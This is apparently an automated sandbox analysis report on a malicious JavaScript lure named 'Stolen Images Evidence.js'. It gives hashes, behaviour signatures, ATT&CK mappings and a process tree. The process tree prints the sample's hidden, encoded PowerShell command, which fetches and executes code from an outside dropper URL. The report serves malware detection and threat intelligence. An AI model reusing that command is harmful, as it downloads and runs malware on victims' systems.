5a22e9bde5aaed03b323e5c933c473e9ba3831f4473790a3d4394baefe809d8a

Analysis

max time kernel
11s
max time network
57s
platform
windows7_x64
resource
win7v20210408
submitted
07/09/2021, 23:36

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General

Target
Stolen Images Evidence.js
Size 15KB
Sample210907-3llfxagfbl
SHA256 5a22e9bde5aaed03b323e5c933c473e9ba3831f4473790a3d4394baefe809d8a
MD5 5bf4ed5ce595439901e66903dc907287
SHA1 6b9ad0e4b30fa757ba70fae23f386e11134e23f4
SHA512 6a1b65de3bfebe108de1a35d0b5ec22c89e80fde64c6aed473b331a2d8f146fb17a66d1dc800774001e6a9ec170475c43e3ee900db086013f3ed50e09ded18cc
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
http://mabiorex.space/333g100/index.php

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
7	1628	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1628	powershell.exe
1628	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1628	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1724 wrote to memory of 1908	1724	wscript.exe	26
PID 1724 wrote to memory of 1908	1724	wscript.exe	26
PID 1724 wrote to memory of 1908	1724	wscript.exe	26
PID 1908 wrote to memory of 1628	1908	cmd.exe	28
PID 1908 wrote to memory of 1628	1908	cmd.exe	28
PID 1908 wrote to memory of 1628	1908	cmd.exe	28

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\Stolen Images Evidence.js"
1⤵
- Suspicious use of WriteProcessMemory
PID:1724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBhAGIAaQBvAHIAZQB4AC4AcwBwAGEAYwBlAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1908
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AbQBhAGIAaQBvAHIAZQB4AC4AcwBwAGEAYwBlAC8AMwAzADMAZwAxADAAMAAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1628

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1628-62-0x000007FEFC0C1000-0x000007FEFC0C3000-memory.dmp

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memory/1628-63-0x00000000025E0000-0x00000000025E1000-memory.dmp

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memory/1628-64-0x000000001AAF0000-0x000000001AAF1000-memory.dmp

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memory/1628-65-0x000000001AA70000-0x000000001AA72000-memory.dmp

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memory/1628-66-0x000000001AA74000-0x000000001AA76000-memory.dmp

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memory/1628-67-0x00000000026C0000-0x00000000026C1000-memory.dmp

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memory/1628-68-0x00000000026F0000-0x00000000026F1000-memory.dmp

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memory/1628-69-0x000000001B6D0000-0x000000001B6D1000-memory.dmp

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